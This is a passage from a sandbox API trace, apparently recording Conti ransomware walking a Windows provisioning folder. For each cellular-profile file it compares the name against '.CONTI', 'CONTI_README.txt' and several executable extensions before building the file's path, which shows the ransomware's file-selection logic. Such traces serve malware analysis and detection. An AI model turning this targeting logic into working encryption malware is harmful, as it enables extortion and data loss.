	[0108.621] StrStrIW (lpFirst="222__Connections_Cellular_DoCoMo (Japan)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0108.621] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0108.622] lstrlenW (lpString="222__Connections_Cellular_DoCoMo (Japan)_i0$(__MVID)@WAP.provxml") returned 64
	[0108.622] GetProcessHeap () returned 0x1720000
	[0108.622] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x136) returned 0x6589c88
	[0108.622] lstrcpyW (in: lpString1=0x6589c88, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0108.622] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0108.622] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="222__Connections_Cellular_DoCoMo (Japan)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\222__Connections_Cellular_DoCoMo (Japan)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\222__Connections_Cellular_DoCoMo (Japan)_i0$(__MVID)@WAP.provxml"
	[0108.622] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9083dfdf, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9083dfdf, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9083dfdf, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2de, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="223__Connections_Cellular_DoCoMo (Japan)_i1$(__MVID)@WAP.provxml", cAlternateFileName="223__C~1.PRO")) returned 1
	[0108.622] lstrcmpiW (lpString1="223__Connections_Cellular_DoCoMo (Japan)_i1$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0108.622] lstrcmpiW (lpString1="223__Connections_Cellular_DoCoMo (Japan)_i1$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0108.622] StrStrIW (lpFirst="223__Connections_Cellular_DoCoMo (Japan)_i1$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0108.622] StrStrIW (lpFirst="223__Connections_Cellular_DoCoMo (Japan)_i1$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0108.622] StrStrIW (lpFirst="223__Connections_Cellular_DoCoMo (Japan)_i1$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0108.622] StrStrIW (lpFirst="223__Connections_Cellular_DoCoMo (Japan)_i1$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0108.622] StrStrIW (lpFirst="223__Connections_Cellular_DoCoMo (Japan)_i1$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0108.622] StrStrIW (lpFirst="223__Connections_Cellular_DoCoMo (Japan)_i1$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0108.622] StrStrIW (lpFirst="223__Connections_Cellular_DoCoMo (Japan)_i1$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0108.622] StrStrIW (lpFirst="223__Connections_Cellular_DoCoMo (Japan)_i1$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0108.622] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0108.622] lstrlenW (lpString="223__Connections_Cellular_DoCoMo (Japan)_i1$(__MVID)@WAP.provxml") returned 64
	[0108.622] GetProcessHeap () returned 0x1720000
	[0108.622] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x136) returned 0x6587f10
	[0108.622] lstrcpyW (in: lpString1=0x6587f10, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0108.622] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0108.622] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="223__Connections_Cellular_DoCoMo (Japan)_i1$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\223__Connections_Cellular_DoCoMo (Japan)_i1$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\223__Connections_Cellular_DoCoMo (Japan)_i1$(__MVID)@WAP.provxml"
	[0108.622] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9083dfdf, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9083dfdf, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9083dfdf, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d2, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="224__Connections_Cellular_DoCoMo (Japan)_i2$(__MVID)@WAP.provxml", cAlternateFileName="224__C~1.PRO")) returned 1
	[0108.624] lstrcmpiW (lpString1="224__Connections_Cellular_DoCoMo (Japan)_i2$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0108.624] lstrcmpiW (lpString1="224__Connections_Cellular_DoCoMo (Japan)_i2$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0108.624] StrStrIW (lpFirst="224__Connections_Cellular_DoCoMo (Japan)_i2$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0108.625] StrStrIW (lpFirst="224__Connections_Cellular_DoCoMo (Japan)_i2$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0108.625] StrStrIW (lpFirst="224__Connections_Cellular_DoCoMo (Japan)_i2$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0108.625] StrStrIW (lpFirst="224__Connections_Cellular_DoCoMo (Japan)_i2$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0108.625] StrStrIW (lpFirst="224__Connections_Cellular_DoCoMo (Japan)_i2$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0108.625] StrStrIW (lpFirst="224__Connections_Cellular_DoCoMo (Japan)_i2$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0108.625] StrStrIW (lpFirst="224__Connections_Cellular_DoCoMo (Japan)_i2$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0108.625] StrStrIW (lpFirst="224__Connections_Cellular_DoCoMo (Japan)_i2$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0108.625] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0108.625] lstrlenW (lpString="224__Connections_Cellular_DoCoMo (Japan)_i2$(__MVID)@WAP.provxml") returned 64
	[0108.625] GetProcessHeap () returned 0x1720000
	[0108.625] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x136) returned 0x6588058
	[0108.625] lstrcpyW (in: lpString1=0x6588058, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0108.625] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0108.625] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="224__Connections_Cellular_DoCoMo (Japan)_i2$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\224__Connections_Cellular_DoCoMo (Japan)_i2$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\224__Connections_Cellular_DoCoMo (Japan)_i2$(__MVID)@WAP.provxml"
	[0108.625] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9083dfdf, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9083dfdf, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9083dfdf, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d3, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="225__Connections_Cellular_DoCoMo (Japan)_i3$(__MVID)@WAP.provxml", cAlternateFileName="225__C~1.PRO")) returned 1
	[0108.625] lstrcmpiW (lpString1="225__Connections_Cellular_DoCoMo (Japan)_i3$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0108.625] lstrcmpiW (lpString1="225__Connections_Cellular_DoCoMo (Japan)_i3$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0108.625] StrStrIW (lpFirst="225__Connections_Cellular_DoCoMo (Japan)_i3$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0108.625] StrStrIW (lpFirst="225__Connections_Cellular_DoCoMo (Japan)_i3$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0108.625] StrStrIW (lpFirst="225__Connections_Cellular_DoCoMo (Japan)_i3$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0108.625] StrStrIW (lpFirst="225__Connections_Cellular_DoCoMo (Japan)_i3$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0108.625] StrStrIW (lpFirst="225__Connections_Cellular_DoCoMo (Japan)_i3$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0108.625] StrStrIW (lpFirst="225__Connections_Cellular_DoCoMo (Japan)_i3$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0108.625] StrStrIW (lpFirst="225__Connections_Cellular_DoCoMo (Japan)_i3$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0108.625] StrStrIW (lpFirst="225__Connections_Cellular_DoCoMo (Japan)_i3$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0108.625] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0108.625] lstrlenW (lpString="225__Connections_Cellular_DoCoMo (Japan)_i3$(__MVID)@WAP.provxml") returned 64
	[0108.625] GetProcessHeap () returned 0x1720000
	[0108.625] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x136) returned 0x65881a0
	[0108.625] lstrcpyW (in: lpString1=0x65881a0, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0108.625] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0108.625] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="225__Connections_Cellular_DoCoMo (Japan)_i3$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\225__Connections_Cellular_DoCoMo (Japan)_i3$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\225__Connections_Cellular_DoCoMo (Japan)_i3$(__MVID)@WAP.provxml"
	[0108.626] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9083dfdf, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9083dfdf, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9083dfdf, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x343, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="226__Connections_Cellular_Orange (Jordan)_i0$(__MVID)@WAP.provxml", cAlternateFileName="226__C~1.PRO")) returned 1
	[0108.626] lstrcmpiW (lpString1="226__Connections_Cellular_Orange (Jordan)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0108.626] lstrcmpiW (lpString1="226__Connections_Cellular_Orange (Jordan)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0108.626] StrStrIW (lpFirst="226__Connections_Cellular_Orange (Jordan)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0108.626] StrStrIW (lpFirst="226__Connections_Cellular_Orange (Jordan)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0108.626] StrStrIW (lpFirst="226__Connections_Cellular_Orange (Jordan)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0108.626] StrStrIW (lpFirst="226__Connections_Cellular_Orange (Jordan)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0108.626] StrStrIW (lpFirst="226__Connections_Cellular_Orange (Jordan)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0108.626] StrStrIW (lpFirst="226__Connections_Cellular_Orange (Jordan)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0108.626] StrStrIW (lpFirst="226__Connections_Cellular_Orange (Jordan)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0108.626] StrStrIW (lpFirst="226__Connections_Cellular_Orange (Jordan)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0108.626] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0108.626] lstrlenW (lpString="226__Connections_Cellular_Orange (Jordan)_i0$(__MVID)@WAP.provxml") returned 65
	[0108.626] GetProcessHeap () returned 0x1720000
	[0108.626] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x138) returned 0x6588430
	[0108.626] lstrcpyW (in: lpString1=0x6588430, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0108.626] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0108.626] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="226__Connections_Cellular_Orange (Jordan)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\226__Connections_Cellular_Orange (Jordan)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\226__Connections_Cellular_Orange (Jordan)_i0$(__MVID)@WAP.provxml"
	[0108.626] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9086424b, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9086424b, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9086424b, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x27c, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="227__Connections_Cellular_Umniah (Jordan)_i0$(__MVID)@WAP.provxml", cAlternateFileName="227__C~1.PRO")) returned 1
	[0108.626] lstrcmpiW (lpString1="227__Connections_Cellular_Umniah (Jordan)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0108.626] lstrcmpiW (lpString1="227__Connections_Cellular_Umniah (Jordan)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0108.626] StrStrIW (lpFirst="227__Connections_Cellular_Umniah (Jordan)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0108.626] StrStrIW (lpFirst="227__Connections_Cellular_Umniah (Jordan)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0108.626] StrStrIW (lpFirst="227__Connections_Cellular_Umniah (Jordan)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0108.626] StrStrIW (lpFirst="227__Connections_Cellular_Umniah (Jordan)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0108.626] StrStrIW (lpFirst="227__Connections_Cellular_Umniah (Jordan)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0108.626] StrStrIW (lpFirst="227__Connections_Cellular_Umniah (Jordan)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0108.626] StrStrIW (lpFirst="227__Connections_Cellular_Umniah (Jordan)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0108.626] StrStrIW (lpFirst="227__Connections_Cellular_Umniah (Jordan)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0108.626] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0108.626] lstrlenW (lpString="227__Connections_Cellular_Umniah (Jordan)_i0$(__MVID)@WAP.provxml") returned 65
	[0108.626] GetProcessHeap () returned 0x1720000
	[0108.626] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x138) returned 0x6588808
	[0108.626] lstrcpyW (in: lpString1=0x6588808, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0108.627] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0108.627] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="227__Connections_Cellular_Umniah (Jordan)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\227__Connections_Cellular_Umniah (Jordan)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\227__Connections_Cellular_Umniah (Jordan)_i0$(__MVID)@WAP.provxml"
	[0108.627] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9086424b, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9086424b, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9086424b, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c8, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="228__Connections_Cellular_Zain (Jordan)_i0$(__MVID)@WAP.provxml", cAlternateFileName="228__C~1.PRO")) returned 1
	[0108.627] lstrcmpiW (lpString1="228__Connections_Cellular_Zain (Jordan)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0108.627] lstrcmpiW (lpString1="228__Connections_Cellular_Zain (Jordan)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0108.627] StrStrIW (lpFirst="228__Connections_Cellular_Zain (Jordan)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0108.627] StrStrIW (lpFirst="228__Connections_Cellular_Zain (Jordan)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0108.627] StrStrIW (lpFirst="228__Connections_Cellular_Zain (Jordan)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0108.627] StrStrIW (lpFirst="228__Connections_Cellular_Zain (Jordan)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0108.627] StrStrIW (lpFirst="228__Connections_Cellular_Zain (Jordan)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0108.627] StrStrIW (lpFirst="228__Connections_Cellular_Zain (Jordan)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0108.627] StrStrIW (lpFirst="228__Connections_Cellular_Zain (Jordan)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0108.627] StrStrIW (lpFirst="228__Connections_Cellular_Zain (Jordan)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0108.627] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0108.627] lstrlenW (lpString="228__Connections_Cellular_Zain (Jordan)_i0$(__MVID)@WAP.provxml") returned 63
	[0108.627] GetProcessHeap () returned 0x1720000
	[0108.627] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x134) returned 0x6588a98
	[0108.627] lstrcpyW (in: lpString1=0x6588a98, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0108.627] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0108.627] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="228__Connections_Cellular_Zain (Jordan)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\228__Connections_Cellular_Zain (Jordan)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\228__Connections_Cellular_Zain (Jordan)_i0$(__MVID)@WAP.provxml"
	[0108.627] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9086424b, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9086424b, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9086424b, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x300, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="229__Connections_Cellular_Zain (Jordan)_i1$(__MVID)@WAP.provxml", cAlternateFileName="229__C~1.PRO")) returned 1
	[0108.627] lstrcmpiW (lpString1="229__Connections_Cellular_Zain (Jordan)_i1$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0108.627] lstrcmpiW (lpString1="229__Connections_Cellular_Zain (Jordan)_i1$(__MVID)@WAP.provxml", lpString2="..") returned 1
